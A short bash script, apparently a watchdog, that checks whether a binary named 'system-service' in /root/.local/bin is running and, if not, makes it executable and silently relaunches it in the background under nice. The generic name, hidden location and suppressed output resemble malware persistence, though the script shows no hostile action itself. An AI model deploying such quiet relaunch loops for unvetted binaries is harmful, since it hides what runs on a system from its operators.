#!/bin/bash PROGRAM_PATH="/root/.local/bin/system-service" # Check if the program is running if ! pgrep -x "system-service" > /dev/null; then chmod +x /root/.local/bin/system-service (nice /root/.local/bin/system-service >/dev/null 2>&1 &) fi